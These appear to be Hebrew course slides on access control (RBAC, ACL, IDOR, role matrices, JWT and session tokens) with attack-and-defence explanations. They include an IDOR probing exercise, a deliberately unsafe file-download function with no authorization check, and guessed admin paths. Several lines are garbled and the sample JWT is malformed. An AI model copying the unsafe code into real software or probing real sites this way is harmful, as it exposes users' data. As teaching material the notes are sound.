- קשה לנהל במערכות מורכבות עם מגוון רחב של הרשאות.
- דוגמה:
- משתמש עם תפקיד "מנהל" יכול לגשת לכל המערכת.
- משתמש עם תפקיד "עובד" יכול לגשת רק לנתונים שהוא אחראי עליהם.

בקרת גישה מבוססת תכונות (ABAC))

- בקרת גישה מבוססת תכונות (ABAC))
- גישה מבוססת מאפיינים.
- ההרשאות ניתנות על סמך מאפיינים של המשתמש או המשאב.
- דוגמה למאפיינים:
- תפקיד.
- מיקום גיאוגרפי.
- סוג מכשיר.
- יתרונות:
- גמישות רבה יותר.
- מתאים למערכות עם חוקים מורכבים.
- דוגמה:
- משתמש יכול לגשת למסמך ספציפי רק אם הוא נמצא במשרד או מחובר דרך רשת מאובטחת.

רשימות בקרת גישה (ACL))

- רשימות בקרת גישה (ACL))
- גישה מבוססת רשימות בקרת גישה.
- כל משאב מכיל רשימה מפורשת של מי יכול לשאת אליו ומה הפעולות המותרות.
- יתרונות:
- שליטה פרטנית ומדויקת על כל משאב.
- מתאים למערכות קטנות.
- חסרונות:
- קשה לניהול במערכות גדולות.
- הרשאות מפורטות מדי יכולות לגרום לשגיאות.
- דוגמה:
- קובץ מסודר כך שרק "אדמין" יכול לקרוא ולכתוב, ו"משתמש רגיל" יכול רק לקרוא.

בקרת גישה חובה (MAC))

- בקרת גישה חובה (MAC))
- גישה מבוססת בקרת חובה.
- הגבלות ההרשאה חקיות על ידי מערכת או מרכזית, ולא ניתן לשנות אותם ברמת המשתמש.

- דוגמה:
- מערכת ביטחונית שבה מסמכים מסווגים "סודי", "סודי ביותר", וכו', ומותר לגשת רק לפי דרגת סיווג.

בקרת גישה לפי שיקול דעת (DAC)

- בקרת גישה לפי שיקול דעת (DAC)
- גישה מבוססת בקרת שיקול דעת.
- בעלי המשאב יכולים לקבוע מי יכול לגשת אליו.
- דוגמה:
- בעל תקשור יכול לבחור אם לשתף אותו עם משתמש אחר.

עקרונות חשובים בניהול הרשאות

- עקרונות חשובים בניהול הרשאות
- עקרון המינימליות (עקרון המינימליות)
- משתמשים או תהליכים צריכים לקבל רק את ההכרחיות לביצוע תפקידים.
- דוגמה: עובד ולא לראות יכול רק את המסמכים שהוא צריך לעבוד איתם, את כל המסמכים בארגון.
- הפרדת חובות (הפרדת סמכויות)
- יכול לבצע אותה לבד.
- דוגמה:
- עובד אחד יוצר מחשבונית.
- עובד אחר מאשר אותה.
- ביקורת ורישום (מעקב ורישום)
- כל פעולת הרשאה נרשמת למעקב אחר פעילות חריגה.
- משתמש שניסה לגשת למשאב ללא הרשאה, פעולה זו תירשם ביומן הפעולות של המערכת.

מה זה Fingerprinting Authorization (Authz)

- מה זה Fingerprinting Authorization (Authz)
- Fingerprinting Authorization הוא תהליך של זיהוי Fingerprinting Authorization חולשות והבנה של מדיניות בקרת הגישה (Access Control) במערכת. הרעיון המרכזי הוא לגלות איך המערכת מטפלת בהרשאות, האם קיימות פרצות אבטחה, ואיך ניתן לנצל אותן.
- מטרות עיקריות:
- 1. לזהות כשלים בבקרת גישה.
- 2. להבין את המנגנונים שהמערכת משתמשת בהם.
- 3. לנצל פגיעויות כמו: Broken Access Control, Privilege Escalation, IDOR (Insecure Direct Object References)

מושגים מרכזיים

- מושגים מרכזיים
- 1. Access Control בקרת גישה: מנגנון המגביל את הגישה למידע, משאבים, או פעולות לפי הרשאות המשתמש.
- 2. Privilege Escalation הסלמת הרשאות: תהליך שבו תוקף מרחיב את ההרשאות שלו מעבר למה שהוקצה לו במקור.
- 3. IDOR Insecure Direct Object Reference: פגיעויות שבה תוקף יכול לגשת לאובייקטים כמו קבצים, נתונים, או API שהוא לא אמור להיות מורשה לגשת אליהם.

שלבי Fingerprinting Authorization

- שלבי Fingerprinting Authorization

- 1. מיפוי פונקציות רלוונטיות:
- זיהוי פעולות שמערכת מספקת (קריאות API דפי אינטרנט, קבצים).
- דוגמה: גישה ל- URL מסוים שדורש הרשאות מסוימות.
- 2. בדיקת הרשאות:
- גישה למשאבים תוך שינוי פרמטרים כמו:
- מזהי משתמשים User IDs
- מזהי קבצים File IDs
- ניסיון להבין אילו הגבלות קיימות.
- 3. ניסוי בתרחישים חריגים:
- מה קורה אם המשתמש שולח בקשה לא תקינה?
- האם יש אפשרות לדלוף מידע ללא הרשאה מתאימה?

דוגמה מעשית - IDOR

- דוגמה מעשית - IDOR
- תיאור:
- אתה גולש באתר שבו יש URL לגישה לחשבון המשתמש שלך:
- `https://example.com/profile?id=123`
- תרחיש:
- 1. אתה מחובר כמשתמש ID 123.
- 2. מה קורה אם תשנה את ה-ID ל- 124?
- `https://example.com/profile?id=124`
- שאלה:
- האם אתה יכול לגשת למידע של משתמש אחר ללא הרשאה מתאימה?

דוגמה בקוד

- דוגמה בקוד
- תרחיש - בקרת גישה לקובץ:
- `def get_file(user_id, file_id):`
- בדיקה אם הקובץ שייך למשתמש #
- `:if is_authorized(user_id, file_id):`
- `return open_file(file_id)`
- `:else:`
- `"return "Access Denied"`
- חולשה פוטנציאלית:
- אם הפונקציה `is_authorized` לא נכתבה נכון, ייתכן שתוקף יוכל לגשת לקבצים שהוא לא מורשה לראות.

תרגיל מעשי - דניאל לחשוב לבד..

- תרגיל מעשי - דניאל לחשוב לבד..
- אתה עובד על אתר של קרית נוער שבו יש API להורדת דוחות:
- `GET /download?file_id=1001`
- משימות:
- 1. בדוק מה קורה כשאתה משנה את `file_id` ל- 1002.
- 2.נסה לגשת לנתונים של קובץ שאתה לא אמור לראות.
- 3. הצע פתרון לתקן את הפגיעות.

תשובות לתרגיל המעשי - תשובות ביטחון אליו ואליואל

- 1. אם בקרת הגישה לא מיושמת כראוי, ייתכן שתצליח להוריד קובץ שאינך מורשה לגשת אליו. זה מצב של פגיעות IDOR (Insecure Direct Object Reference).
- 2. אם המערכת בודקת רק את file_id בלי לבדוק האם הקובץ שייך למשתמש הנוכחי, תוקף יכול לנצל זאת ולשלוף קבצים שהוא לא אמור לראות.
- דוגמה להתנהגות לא בטוחה:

```
def download_file(file_id):
```
- החזרת הקובץ על סמך ה-ID בלבד, ללא בדיקת הרשאות #
- ```
return open_file(file_id)
```

## מה זה ACL (Access Control List)

- מה זה ACL (Access Control List)
- ACL רשימת בקרת גישה היא מנגנון אבטחה שמגדיר אילו משתמשים או תהליכים מורשים לבצע פעולות מסוימות על משאבים במערכת (כמו קבצים, תיקיות, או ממשקי API)
- כל רשומה ב-ACL מכילה:
  - 1. משאב: Resource מה נרצה להגן עליו (למשל קובץ או כתובת API)
  - 2. ישויות מורשות: Entities מי רשאי לגשת למשאב (משתמשים או קבוצות משתמשים).
  - 3. פעולות מורשות: Actions אילו פעולות מותר לבצע (לקרוא, לכתוב, למחוק, וכו').

## למה זה חשוב?

- למה זה חשוב?
- סריקת ACL או ניסיון לזיהוי חולשות ב-ACL מתבצעת על ידי תוקפים שמנסים להבין:
  - 1. איך המערכת מנהלת הרשאות.
  - 2. האם ניתן לעקוף את ההגנות.
  - 3. האם קיימים משאבים מוגנים שלא מוגדרים כראוי.
- מטרה של זיהוי סריקת ACL:
  - 1. למנוע גישה לא מורשית למידע רגיש.
  - 2. לאתר פעולות חריגות שמנסות לזהות חולשות במנגנוני בקרת הגישה.

## כיצד פועלת סריקת ACL מצד תוקף?

- כיצד פועלת סריקת ACL מצד תוקף?
  - 1. מיפוי המשאבים במערכת
  - התוקף סורק נתיבי גישה שונים, כמו:
    - קבצים ותיקיות.
    - API endpoints.
    - דפים מוגנים באתר אינטרנט.
    - לדוגמה:
      - admin/
      - config/
      - user/123/
  - המשך - כיצד פועלת סריקת ACL מצד תוקף?
    - 2. ניסיון לגשת למשאבים מוגבלים
    - התוקף מבצע ניחושים כדי לגשת למשאבים מוגנים.
    - לדוגמה, ניסיונות לקרוא קובץ או לגשת לאזורי ניהול:

```
GET /secure/file.txt
```

- GET /admin/dashboard
- 3. הפעלת כלים אוטומטיים
- תוקף משתמש בכלים כמו Burp Suite, OWASP ZAP או dirbuster לסרוק ולזהות משאבים שאינם מוגנים כראוי.
- הכלים שולחים בקשות לנתיבים שונים ומחפשים תגובות שמלמדות על הגבלות הרשאה.
- זיהוי סריקה על ידי המערכת:
- תכונות סריקה שניתן לזהות:
- 1. מספר רב של בקשות בבת אחת: תוקף שולח בקשות למאות או אלפי נתיבים בזמן קצר.
- 2. בקשות לנתיבים לא קיימים: בקשות כמו admin\ או private\ שלא מופיעות באתר.
- 3. דפוס גישה חריגים: לדוגמה, משתמש רגיל מנסה לגשת לנתיבי ניהול.

## כיצד להגן על ACL מפני סריקות?

- כיצד להגן על ACL מפני סריקות?
- 1. שימוש ברשימות בקרת גישה חזקות
- הגדר ACL ברמת שרת הקבצים או השרת האפליקטיבי.
- ודא שההרשאות מוגדרות כראוי:
- משתמשים מורשים בלבד.
- הגבלת פעולות מותרות.
- 2. זיהוי וחסידת פעילות חריגה
- שימוש ב-IDS/IPS מערכות זיהוי/מניעת חדירות לזיהוי:
- סריקות.
- ניסיונות גישה חוזרים.
- דוגמה לכלי: Fail2Ban
- המשך - כיצד להגן על ACL מפני סריקות?
- 3. חסימת ניסיונות לפי כתובת IP
- אם כתובת IP מבצעת כמות חריגה של בקשות בזמן קצר, חסום אותה אוטומטית.
- 4. שימוש בקבצים מוגנים
- הסתרת משאבים מוגנים מאחורי מנגנון אימות.
- דוגמה: אם יש לך דף ניהול, וודא שהוא מוגן בסיסמה.

## דוגמה למערכת ACL פשוטה בקוד

- דוגמה למערכת ACL פשוטה בקוד
- נניח שאנחנו מנהלים גישה לקבצים.
- `def is_authorized(user, resource, action):`
- `acl = {`
- `"admin": {"files": ["read", "write", "delete"]},`
- `"user": {"files": ["read"]}`
- `if user in acl and action in acl[user].get(resource, []):`
- `return True`
- `return False`
- `# דוגמה לשימוש`
- `print(is_authorized("admin", "files", "delete")) # True`
- `print(is_authorized("user", "files", "delete")) # False`
- Admin מורשה למחוק קבצים.
- User מורשה רק לקרוא קבצים.

## מהי מטריצת תפקידים Role Matrix

- מהי מטריצת תפקידים Role Matrix
- מטריצת תפקידים היא טבלה שמציגה בצורה ברורה את התפקידים בארגון ואת ההרשאות או הגישה למערכות, משאבים, ונתונים שאליהם הם זכאים. מטריצה זו עוזרת לנהל בקרה על הרשאות, לצמצם סיכונים הנובעים משימוש לא נכון בהרשאות ולמנוע גישה לא מורשית למשאבים.
- מבנה המטריצה:
- שורות: תפקידים בארגון Role: למשל, מנהל, מפתח, איש תמיכה, משתמש קצה.
- עמודות: משאבים או מערכות בארגון: למשל, מערכת CRM מסד נתונים, מערכת HR
- תוכן הטבלה: ההרשאות Access: לכל שילוב של תפקיד ומשאב. לדוגמה: קריאה בלבד, קריאה וכתיבה, גישה מלאה.

## מושגי יסוד

- מושגי יסוד
- 1. א. גישה מבוססת תפקיד Role-Based Access Control - RBAC
- מדובר במודל ניהול הרשאות שבו זכויות הגישה נקבעות על סמך תפקיד המשתמש בארגון, במקום על סמך זהות המשתמש עצמו.
- יתרונות:
- ניהול פשוט יותר של הרשאות.
- צמצום שגיאות ניהול ידני.
- לדוגמה: משתמש בתפקיד "איש" HR יקבל גישה למערכת משאבי האנוש בלבד, ללא תלות בזהותו הפרטית.
- ב. Least Privilege עיקרון המינימום הרשאות:
- כל משתמש מקבל את כמות ההרשאות המינימלית הנדרשת לביצוע משימותיו.
- לדוגמה: איש IT שמתקן תקלה במערכת CRM יקבל גישה זמנית למשימה זו בלבד.
- המשך - מושגי יסוד
- ג. Separation of Duties הפרדת תפקידים:
- עיקרון שמונע ריכוז כוח או הרשאות רבות מדי אצל משתמש אחד, כדי להפחית סיכונים כמו הונאה או טעויות אנוש.
- לדוגמה: מי שמבצע תשלומים בארגון לא יכול גם לאשר אותם.
- ד. Data Sensitivity רגישות מידע:
- מידע מסווג לפי רמת הרגישות שלו, והגישה אליו מוגבלת בהתאם.
- רמות רגישות: ציבורי, פנימי, סודי, סודי ביותר.

## עקרונות מרכזיים

- עקרונות מרכזיים
- א. Scoping טווח הרשאות:
- בעת תכנון המטריצה, חשוב להגדיר טווח ברור לכל תפקיד:
- מה התפקיד כולל? משימות ותהליכים.
- לאילו מערכות המידע רלוונטיות?
- איזה מידע ותהליכים רגישים יש בתפקיד?
- ב. Context-Aware Access גישה מבוססת הקשר:
- גישה יכולה להיות מותנית ב:
- מיקום גיאוגרפי.
- זמן (למשל: גישה מותרת רק בשעות העבודה).
- רשת האינטרנט (גישה פנימית בלבד).
- ג. Dynamic Role Management ניהול תפקידים דינמי:

- ניהול הרשאות שמתעדכן בהתאם לשינויים בתפקידים או בארגון.
- לדוגמה: עובד שעבר מתפקיד מפתח למנהל צוות, יקבל הרשאות ניהול במקום הרשאות פיתוח.

## מטרות המטריצה

- מטרות המטריצה
- 1. מניעת גישה לא מורשית: מוודאים שכל משתמש ניגש רק למה שהוא צריך.
- 2. שיפור ניהול סיכונים: הקטנת החשיפה של המידע הרגיש.
- 3. שקיפות: הצגת ההרשאות בצורה ברורה לכל הצדדים הרלוונטיים.
- 4. התאמה לתקנים ורגולציות: עמידה בדרישות כמו GDPR, HIPAA, ISO 27001

## שלבים לבניית מטריצת תפקידים

- שלבים לבניית מטריצת תפקידים
- 1. זיהוי התפקידים בארגון:
- נתח את המבנה הארגוני.
- הבן מהם התפקידים ומהן המשימות שכל תפקיד מבצע.
- 2. מיפוי המשאבים:
- רשום את כל המערכות, הכלים והמידע הקיימים בארגון.
- ציין אילו משאבים נחשבים רגישים.
- 3. הגדרת הרשאות:
- קבע אילו תפקידים צריכים גישה לאילו משאבים.
- ציין את רמות הגישה הנדרשות (למשל: קריאה בלבד, כתיבה, מנהל).
- המשך - שלבים לבניית מטריצת תפקידים
- 4. יצירת המטריצה:
- השתמש בטבלה פשוטה או בכלי ייעודי כמו Excel
- מלא את התוכן לפי ההרשאות הנדרשות.
- 5. בדיקה ועדכון תקופתי:
- ודא שהמטריצה עדכנית ומתאימה לשינויים ארגוניים או רגולטוריים.
- בצע ביקורת תקופתית כדי לאתר הרשאות עודפות.

## אתגרים תיאורטיים בניהול מטריצת תפקידים

- אתגרים תיאורטיים בניהול מטריצת תפקידים
- 1. Shadow IT טכנולוגיות נסתרות:
- שימוש במערכות וכלים שאינם מאושרים על ידי הארגון עלול להוביל לבעיות הרשאות ולפרצות אבטחה.
- 2. Overprovisioning הרשאות עודפות:
- כשמשתמשים מקבלים הרשאות רבות מדי, זה עלול לגרום לסיכוני אבטחה.
- דוגמה נפוצה: עובד שפורש נשאר עם גישה פעילה למערכות.
- 3. ניהול תפקידים מורכבים:
- בארגונים גדולים ישנם תפקידים בעלי מאפיינים חופפים, מה שמקשה על יצירת היררכיה ברורה של הרשאות.
- 4. עמידה ברגולציה:
- דרישות רגולציה משתנות מחייבות מעקב ועדכון מתמיד של המטריצה.

## דוגמה למטריצת תפקידים

- דוגמה למטריצת תפקידים

## מה הם זיהוי Access Tokens

- מה הם זיהוי Access Tokens
- Access Tokens אסימוני גישה הם רכיבים קריטיים באבטחת מידע, במיוחד בתהליכי אימות Authentication והרשאה Authorization במערכות מודרניות כמו API אפליקציות ואתרי אינטרנט.
- בוא נפרט לעומק על הפן התיאורטי של הנושא, יחד עם שאלות, תשובות ודוגמאות שיעזרו לכם, אליחי הצדיק אוליאל שבכלל לא מגיע, ודניאל שמגיע כל שיעור עם הפסד צורב של הקבוצה לשלוט בנושא.

## מהו Access Token?

- מהו Access Token?
- Access Token הוא אסימון Token למעשה מחרוזת נתונים קצרה – המונפקת למשתמש או ליישום לאחר אימות מוצלח. הוא משמש לזיהוי המשתמש או היישום ומאפשר גישה למשאבים מוגדרים במערכת לתקופה מוגבלת.
- מאפיינים עיקריים של Access Tokens:
  1. מזהה ייחודי: משמש לזיהוי בקשות לגישה למשאבים.
  2. זמן תוקף Expiration: מגביל את זמן השימוש באסימון.
  3. אחסון נתונים: מכיל מידע מוצפן על המשתמש או היישום, כגון הרשאות וזכויות גישה.
  4. ניתן לבדיקה: צד שרת יכול לאמת את תוקף האסימון ולוודא שהבקשה לגיטימית.

## מתי Access Tokens נמצאים בשימוש?

- מתי Access Tokens נמצאים בשימוש?
  1. OAuth 2.0 : פרוטוקול לאימות והרשאה שבו אסימוני גישה משמשים לגישה ל-APIs
  2. JWT (JSON Web Token): פורמט נפוץ של אסימוני גישה.
  3. SSO (Single Sign-On): מערכות זיהוי חד פעמי שבהן האסימון מעביר מידע על האימות בין שירותים שונים.

## סוגי Access Tokens

- סוגי Access Tokens
  1. Bearer Tokens: משמשים לרוב בפרוטוקול OAuth 2.0
  - כל מי שמחזיק באסימון יכול להשתמש בו (ללא צורך בחתימה נוספת).
  - חיסרון: אם האסימון נגנב, ניתן לנצלו.
- 2. MAC Tokens (Message Authentication Code): דורשים חתימה דיגיטלית עבור כל בקשה.
- בטוחים יותר מ-Bearer Tokens אך מורכבים יותר לניהול.
- המשך - סוגי Access Tokens
  3. Opaque Tokens: אסימונים שבהם המידע אינו קריא (מוצפן או מאוחסן בצד השרת).
  - מחייבים אימות בצד השרת כדי לבדוק את תוכנם.
- 4. JWT Tokens: הערת בטיחות: הושטנו פרטי הדגמה התקפיים שעלולים לאפשר ביצוע תקיפה. העיקרון: תוקפים עשויים לנצל כלים/קוד כדי להשיג שליטה או להפיץ נזקות — ההגנה מתמקדת בזיהוי, הקשחה וניטור.
- יתרון: ניתן לקרוא את המידע בלי צורך בתקשורת עם השרת.
- חיסרון: יש להצפין מידע רגיש בתוכן כדי למנוע חשיפה.

## מרכיבי JWT (JSON Web Token)

- מרכיבי JWT (JSON Web Token)

- JWT הוא אחד הפורמטים הנפוצים ביותר עבור Access Tokens הוא מורכב מ-3 חלקים:
  1. Header כותרת:
- מידע על האסימון (למשל, סוג האסימון ואלגוריתם החתימה).
- "alg": "HS256"
- "typ": "JWT"
- הערת בטיחות: הושמטו פרטי הדגמה התקפיים שעלולים לאפשר ביצוע תקיפה. העיקרון: תוקפים עשויים לנצל כלים/קוד כדי להשיג שליטה או להפיץ נזקות — ההגנה מתמקדת בזיהוי, הקשחה וניסור.
- המידע בפועל, כגון שם המשתמש, הרשאות, זמן תוקף.
- "sub": "1234567890"
- "name": "John Doe"
- admin": true"
- המשך - מרכיבי (JWT (JSON Web Token
- 3. Signature חתימה:
- חתימה דיגיטלית שנוצרת באמצעות אלגוריתם כמו HMAC או RSA
- מטרתה לוודא שהאסימון לא שונה מאז יצירתו.
- JWT נראה כך:
- eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoiYWRtaW4iOnRydWV9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV\_adQssw5c

## איך Access Tokens עובדים בפועל?

- איך עובדים Access Tokens בפועל?
- 1. שלב האימות Authentication
  - המשתמש או היישום מספקים אישורים (כמו שם משתמש וסיסמה).
  - אם האימות הצליח, מונפק אסימון גישה.
- 2. שלב הבקשה Request
  - הלקוח שולח בקשה לשרת, עם האסימון בכותרת הבקשה Authorization Header
- 3. שלב האימות של האסימון:
  - השרת בודק אם האסימון תקף:
    - תוקף.
    - הרשאות מתאימות.
- 4. שלב המענה Response
  - אם האסימון תקף, השרת מספק גישה למשאב המבוקש.

## מחזור חיים של Access Tokens

- מחזור חיים של Access Tokens
- 1. הבנת מחזור החיים של אסימון חשובה כדי לנהל ולשמור על אבטחה.
- השלבים במחזור החיים:
- א. הנפקה Issuance:
- אסימון מונפק לאחר אימות מוצלח של המשתמש למשל, דרך OAuth 2.0
- פרטים מוגדרים באסימון: משך חיים TTLהרשאות, משתמש ייעודי.
- ב. שימוש Usage:



- הלקוח משתמש באסימון לצורך גישה למשאבים.
- האסימון מצורף לבקשה בכותרת Header או בפרמטרים.
- ג. חידוש Refresh:
  - כאשר תוקף האסימון פג, ניתן להשתמש ב-Refresh Token אסימון רענון כדי להנפיק אסימון חדש ללא צורך באימות מחדש.
  - ד. ביטול Revocation:
    - האסימון מבוטל יזום (למשל, אם זוהתה פריצה או שינויים בהרשאות).

## Refresh Tokens אסימוני רענון

- Refresh Tokens אסימוני רענון:
  - 2. מהו Refresh Token?
  - אסימון מיוחד המונפק לצד Access Token ומשמש לחידושו כאשר תוקפו פג.
  - מאפיינים:
    - לרוב יש לו תוקף ארוך יותר מאסימון הגישה.
    - ניתן להשתמש בו רק במקרים מוגדרים, כמו חידוש אסימון.
    - מדוע Refresh Tokens חשובים?
    - צמצום הצורך באימות מחדש User Re-Authentication
    - הגנה על אסימוני הגישה הראשיים.
    - אתגרי אבטחה:
      - אם Refresh Token נגנב, תוקף יכול להנפיק אסימוני גישה חדשים ללא ידיעת המשתמש.
      - פתרון: שימוש ב- Bound Tokens אסימונים שמוגבלים למכשיר מסוים או למיקום גיאוגרפי.

## Access Tokens בסביבת Microservices

- Access Tokens בסביבת Microservices
  - 3. מדוע נדרשים Access Tokens ב-Microservices?
  - ארכיטקטורת Microservices מבוססת על חלוקת המערכת למספר שירותים קטנים.
  - כל שירות זקוק למנגנון אימות והרשאה משלו כדי למנוע גישה בלתי מורשית.
  - שיטות לשימוש:
    - 1. Token Propagation:
      - האסימון עובר משירות לשירות Chaining
      - בעיה: האסימון עלול לחשוף מידע מיותר לכל שירות.
    - 2. Token Exchange:
      - שירות מחליף את האסימון שקיבל באסימון מוגבל לגישה לשירותים אחרים.
      - מיושם בפרוטוקולים כמו OAuth 2.0 Token Exchange

## הגנה על Access Tokens

- הגנה על Access Tokens
  - א. אמצעי הגנה בסיסיים:
    - 1. שימוש בפרוטוקול HTTPS: מגן על האסימון מפני יירוט במהלך העברה.
    - 2. צמצום זמן החיים של האסימון TTL: אסימונים קצרי חיים מצמצמים את זמן החשיפה הפוטנציאלי במקרה של פריצה.
    - 3. הגבלת גישה לפי מקור CORS: מונע שימוש לרעה באסימון על ידי דומיינים לא מורשים.
    - ב. אמצעי הגנה מתקדמים:
      - 1. Token Binding: קישור האסימון למכשיר או למזהה מסוים Device-Specific Token
      - אם האסימון נגנב, הוא לא יפעל ממכשיר אחר.
      - 2. Audience Restriction: כל אסימון מוגדר לשימוש בשירות מסוים בלבד.

- לדוגמה: אסימון שנועד למערכת CRM לא יעבוד במערכת HR
- 3. Fingerprinting Tokens: יצירת חתימה דיגיטלית ייחודית לכל בקשה כדי לזהות אם האסימון עבר שינוי.

## זיהוי ואיתור פרצות באסימונים

- זיהוי ואיתור פרצות באסימונים
- א. התקפות נפוצות על Access Tokens:
- 1. Replay Attack: תוקף מיירט אסימון ומנסה להשתמש בו שוב.
- פתרון: שימוש בחתימה דיגיטלית ייחודית לכל בקשה.
- 2. Man-in-the-Middle Attack (MITM): תוקף מיירט אסימונים במהלך העברתם.
- פתרון: הצפנת התקשורת באמצעות HTTPS.
- 3. Privilege Escalation: אסימון שניתן למשתמש עם הרשאות נמוכות מנוצל להשגת הרשאות גבוהות.
- פתרון: אימות מתמיד של ההרשאות.
- ב. התקפות נפוצות על Access Tokens:
- Rate Limiting: הגבלת מספר הבקשות שניתן לבצע בפרק זמן מסוים.
- תיעוד גישה: Audit Logs: ניטור כל השימושים באסימונים לזיהוי פעילות חשודה.
- AI/ML-Based Detection: שימוש במערכות למידת מכונה כדי לזהות תבניות חריגות.

## פרוטוקולים רלוונטיים

- פרוטוקולים רלוונטיים
- א. OAuth 2.0: הפרוטוקול הנפוץ ביותר לניהול אסימונים.
- זרימות Flows:
- 1. Authorization Code Flow: מתאים לאפליקציות צד שרת.
- 2. Implicit Flow: מיועד לאפליקציות צד לקוח (אך פחות מאובטח ולכן לא מומלץ).
- 3. Client Credentials Flow: משמש גישה בין שרתים.
- ב. OpenID Connect: הרחבה של OAuth 2.0 שמוסיפה אימות Authentication לצד הרשאה Authorization משמשת כדי לוודא את זהות המשתמש, בנוסף להענקת אסימון.

## מהו Session Token?

- מהו Session Token?
- Session Token: אסימון חיבור הוא מחרוזת ייחודית המשמשת לזיהוי משתמש במהלך סשן (מושב) עבודה מסוים מול מערכת או אתר.
- אסימונים אלו נוצרים על ידי השרת ונשלחים ללקוח (למשל דפדפן) לאחר הזדהות מוצלחת. הם מונעים מהמשתמש להזדהות מחדש על כל פעולה במהלך הסשן.
- שימושים נפוצים:
- 1. אימות משתמשים: Authentication האסימון מוכיח שהמשתמש הזדהה בהצלחה.
- 2. ניהול סשן: שמירת סטטוס פעיל של המשתמש.
- 3. מניעת CSRF (Cross-Site Request Forgery): שימוש בטוקן ייחודי שמונע תקיפות.

## מאפיינים חשובים של Session Tokens

- מאפיינים חשובים של Session Tokens:
- 1. ייחודיות: לכל סשן משתמש מוקצה טוקן ייחודי.
- 2. זמן תפוגה: טוקנים יכולים להיות מוגדרים לתקופה מסוימת כדי למנוע שימוש ממושך מדי.
- 3. אחסון מאובטח: שמירת הטוקן בלקוח Cookies או Local Storage צריכה להיות מאובטחת.

## איומים עיקריים ופתרונות

- איומים עיקריים ופתרונות:
- 1. Session Hijacking:
- איום: גניבת הטוקן ושימוש בו על ידי תוקף.
- פתרון: שימוש ב-HTTPS הגדרת HttpOnly cookies
- 2. Session Fixation:
- איום: התוקף מאלץ משתמש להשתמש בטוקן ידוע מראש.
- פתרון: יצירת טוקן חדש לאחר הזדהות.
- 3. Cross-Site Scripting (XSS):
- איום: תוקף משיג גישה לטוקן דרך סקריפט זדוני.
- פתרון: אימות קלט המשתמש

## המחזור החיים של Session Token

- המחזור החיים של Session Token שלבים:
- 1. יצירת הטוקן:
- השרת יוצר טוקן ייחודי בעת ההתחברות הראשונית של המשתמש.
- בדרך כלל, טוקן זה מכיל מזהה ייחודי UUID ולעיתים נתונים נוספים (כגון timestamp מזהה משתמש).
- 2. הפצת הטוקן:
- הטוקן נשלח ללקוח (לדוגמה, דפדפן) ונשמר בצד הלקוח.
- דרכים נפוצות לאחסון:
- Cookie: פתרון נפוץ ומאובטח אם מוגדרים הדגלים HttpOnly ו-Secure.
- LocalStorage/SessionStorage: יותר גמיש, אך פגיע ל-XSS אם יש חולשות בקוד.
- 3. שימוש בטוקן:
- בכל בקשה לשרת (כגון קריאת API), הלקוח שולח את הטוקן ליהוי ואימות.
- המשך - המחזור החיים של Session Token
- 4. תפוגת הטוקן:
- הטוקן מוגדר לפוג לאחר זמן מסוים כדי למנוע שימוש ממושך (לדוגמה, 30 דקות של חוסר פעילות).
- 5. חידוש הטוקן Token Refresh:
- במערכות מסוימות משתמשים בטוקן זמני Access Token ובטוקן רענון Refresh Token
- ה-Refresh Token מאפשר יצירת טוקן חדש מבלי לדרוש מהמשתמש להזדהות מחדש.

## שיטות לאימות תקינות טוקן

- שיטות לאימות תקינות טוקן
- חתימות דיגיטליות:
- ב-JWT החתימה הדיגיטלית Signature מוודאת שהטוקן לא שונה מאז שנוצר.
- סוגי חתימות נפוצים:
- HMAC (Shared Key): השרת חותם ומאמת בעזרת מפתח סודי.
- RSA (Public/Private Key): חתימה באמצעות מפתח פרטי, ואימות באמצעות מפתח ציבורי.

## Best Practices לניהול טוקנים מאובטח

- Best Practices לניהול טוקנים מאובטח
- אבטחת הטוקן בצד הלקוח:
- 1. HttpOnly Cookies: מונעים גישה לטוקן על ידי סקריפטים זדוניים.
- 2. Secure Cookies: מאפשרים העברת טוקן רק ב-HTTPS

- 3. CORS Policy: הגדרות קפדניות למניעת שימוש זדוני בטוקן מבקשות בין דומיינים.
- הגנה על תהליך האימות:
- 1. Rate Limiting: הגבלת מספר הבקשות לשרת בפרק זמן מסוים.
- 2. IP Address Locking: הגבלת השימוש בטוקן לכתובת ה-IP שבה נוצר.
- עקרונות עיצוב טוקנים:
- 1. זמן תפוגה קצר: מפחית את הנזק במקרה שהטוקן נגנב.
- 2. One-Time Tokens: יצירת טוקנים חד-פעמיים לביצוע פעולות קריטיות (כגון שינוי סיסמה).

## השוואה בין סוגי טוקנים

- השוואה בין סוגי טוקנים

## ניהול נכון של Session Tokens

- ניהול נכון של Session Tokens
- מדיניות זמנים:
- Access Token קצר-טווח:
- תפוגה של 15-30 דקות.
- מפחית את ההשפעה של גניבת טוקן.
- Refresh Token ארוך-טווח:
- תפוגה של ימים או שבועות.
- מאפשר גישה ממושכת עם אפשרות לחידוש.
- אבטחה בצד השרת:
- אימות טוקנים על כל בקשה.
- Blacklist לטוקנים שבוטלו או פגי תוקף.
- בדיקת תכונות נוספות כמו כתובת IP וסוכן המשתמש User-Agent

## התקפות נפוצות נגד טוקנים

- התקפות נפוצות נגד טוקנים
- א. Session Hijacking:
- תקיפה: תוקף גונב טוקן פעיל (לדוגמה, דרך רשת ל מניעה:
- 1. שימוש ב-HTTPS
- 2. מעקב אחר כתובת ה-IP של המשתמש.
- ב. Cross-Site Scripting (XSS):
- תקיפה: תוקף מחדיר סקריפט זדוני לגישה לטוקן מתוך הדפדפן.
- 1. הפיכת Cookies ל-HttpOnly
- ג. Session Fixation:
- תקיפה: תוקף מאלץ משתמש להשתמש בטוקן ידוע מראש.
- מניעה
- 1. חלפת טוקן לאחר התחברות.
- 2. אימות מידע נוסף כמו session ID יחד עם הטוקן.

## מתקפות מתקדמות על טוקנים

- מתקפות מתקדמות על טוקנים
- א. Replay Attacks: התקפות שידור חוזר:
- מה זה?

- תוקף לוכד טוקן חוקי באמצעות ניטור תעבורה ומנסה להשתמש בו שוב.
- פתרון:
- הוספת timestamp בטוקן ובדיקת תוקף בזמן אמת.
- שימוש במזהים חד-פעמיים Nonce לכל בקשה.
- ב. Token Injection הזרקת טוקן:
- תוקף מחדיר טוקן זדוני לתוך מערכת שמקבלת טוקן.
- אימות טוקנים בחתימה דיגיטלית.
- הגדרת בקורות על מקור הטוקן CORS
- ג. Broken Token Storage אחסון לא מאובטח:
